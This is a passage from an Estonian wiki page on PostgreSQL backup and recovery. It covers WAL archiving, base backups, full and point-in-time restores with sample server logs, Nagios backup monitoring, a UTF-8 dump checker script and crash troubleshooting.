  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
